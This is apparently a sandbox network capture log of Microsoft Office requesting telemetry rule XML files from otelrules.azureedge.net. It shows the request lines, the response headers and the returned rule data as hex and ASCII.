2024-10-28 18:12:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:32 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:32 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:32 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181232Z-17fbfdc98bb2rxf2hfvcfz540000000003a000000000a2r0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:32 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49829	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:32 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f46f8e47-e01e-00aa-72c7-20ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181232Z-r1755647c665dwkwce4e7gadz00000000670000000008e88 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49831	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:32 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:32 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: de1a9787-701e-006f-48ae-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181232Z-r1755647c66ljccje5cnds62nc000000043000000000bqnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49833	13.107.253.45	443	5804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:33 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:33 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:33 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: ba33cc4f-e01e-0052-2e6f-28d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181233Z-r1755647c66kcsqh9hy6eyp6kw00000003k000000000d27m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:33 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49832	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 071448c9-d01e-0028-2702-297896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181233Z-r1755647c66x2fg5vpbex0bd8400000006v000000000700b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49834	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:33 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:33 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:33 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c6fd9367-401e-008c-7f80-2686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181233Z-r1755647c66mmrln9nsykf75u800000004e000000000bvd5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:33 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49835	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:33 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:33 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:33 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 170621ef-f01e-003f-351f-28d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181233Z-17fbfdc98bblzxqcphe71tp4qw00000000ug00000000331x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:33 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49836	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:33 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:33 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:33 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c21b0bdf-c01e-008e-186f-287381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181233Z-17fbfdc98bbp77nqf5g2c5aavs00000004zg00000000cbh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:33 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49837	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:33 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:34 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:34 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: d72005e7-a01e-0002-1a61-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181234Z-r1755647c66vxbtprd2g591tyg000000053g0000000039z9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:34 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49839	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:34 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:34 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181234Z-17fbfdc98bbwj6cp6df5812g4s00000006ug00000000eybb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:34 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:34 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:34 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181234Z-r1755647c66kcsqh9hy6eyp6kw00000003gg00000000gypf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:34 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49838	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:34 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
